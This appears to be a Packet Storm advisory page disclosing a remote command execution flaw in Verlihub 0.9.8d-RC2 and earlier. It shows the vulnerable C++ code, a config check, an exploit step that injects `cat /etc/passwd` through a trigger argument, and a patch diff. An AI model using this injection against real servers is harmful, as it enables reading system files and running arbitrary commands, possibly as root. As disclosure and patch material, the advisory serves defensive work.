what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

verlihub-exec.txt

verlihub-exec.txt
Posted Nov 22, 2008
Authored by v4lkyrius

Verlihub versions 0.9.8d-RC2 and below suffer from a remote command execution vulnerability due to a lack of input sanitization.

tags | exploit, remote
SHA-256 | 59253a3dcd50fb725bcfcf10fd23e86d2d7c75c62088f0202e264c94bcb3ced2

verlihub-exec.txt

Change Mirror Download
== verlihub <=0.9.8d-RC2 remote r00t / command execution =======================
| ' / |
/__ ___ ( /
\\--`-'-|`---\\ |
|' _/ ` __/ /
'._ V ,--'
'_:_._/

description:--------------------------------------------------------------------
"Verlihub is a Direct Connect protocol server; runs on Linux OS; written in
C++."
-- <http://www.verlihub-project.org/>

Verlihub does not sanitize user input passed to the shell via its "trigger"
mechanism. Furthermore, the Verlihub daemon can optionally be configured to
run as root. This allows for the arbitrary execution of commands by users
connected to the hub and, in the case of the daemon running as root,
complete commandeering of the machine.

-- Code Listing: src/ctrigger.cpp : cTrigger::DoIt() -------------------
106 string command(buf); :
107 filename = server.mConfigBaseDir; ,:
108 filename.append("/tmp/trigger.tmp"); | / \ |
109 command.append(" > "); \_\\ //_/
110 command.append(filename); .'/()\'.
111 cout << command << endl; \\ //
112 system(command.c_str());
------------------------------------------------------------------------

vulnerability check:------------------------------------------------------------
# grep allow_exec /etc/verlihub/dbconfig
allow_exec = 1

or

# grep allow_exec $HOME/.verlihub/dbconfig
allow_exec = 1

exploit:------------------------------------------------------------------------
1. Connect to a hub with user triggers allowed and set up to accept
arguments;
2. Run a trigger with a specially crafted argument, e.g.:
+<trigger> `cat /etc/passwd`
where <trigger> is the name of the trigger.
3. ...

patch:--------------------------------------------------------------------------
$ diff src/ctrigger.cpp src/ctrigger.cpp.new
9a10
> #include <stdio.h>
19a21,33
> void strip( char * str, char c )
> {
> char * p1 = str;
> while ( *p1++ )
> if( *p1 == c )
> {
> char * p2 = p1;
> while( *p2 && *p2 == c ) { ++p2; }
> if(*p2) { *p1 = *p2; *p2 = c; }
> else { *p1 = '\0'; break; }
> }
> }
>
107,114c121,145
< filename = server.mConfigBaseDir;
< filename.append("/tmp/trigger.tmp");
< command.append(" > ");
< command.append(filename);
< cout << command << endl;
< system(command.c_str());
< buf = "";
< if (!LoadFileInString(filename,buf)) return 0;
---
> char buffer[ 1024 ];
> FILE * stream;
> buf = "";
> char * cmd = command.c_str();
>
> strip( cmd, ';' ); strip( cmd, '\"' );
> strip( cmd, '\'' ); strip( cmd, '\\' );
> strip( cmd, '`' ); strip( cmd, ':' );
> strip( cmd, '!' ); strip( cmd, '$' );
> strip( cmd, '{' ); strip( cmd, '}' );
> strip( cmd, '[' ); strip( cmd, ']' );
> strip( cmd, '&' ); strip( cmd, '>' );
> strip( cmd, '<' ); strip( cmd, '|' );
> strip( cmd, '~' ); strip( cmd, '/' );
>
> cout << cmd << endl;
> stream = popen( cmd, "r" );
> if ( stream == NULL )
> perror( NULL );
> else
> while( fgets( buffer, 1024, stream )
> != NULL )
> buf.append( buffer );
> if ( pclose( stream ) == -1 )
> perror( NULL );

== eof ======================================== by v4lkyrius at gmail dot com ==

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close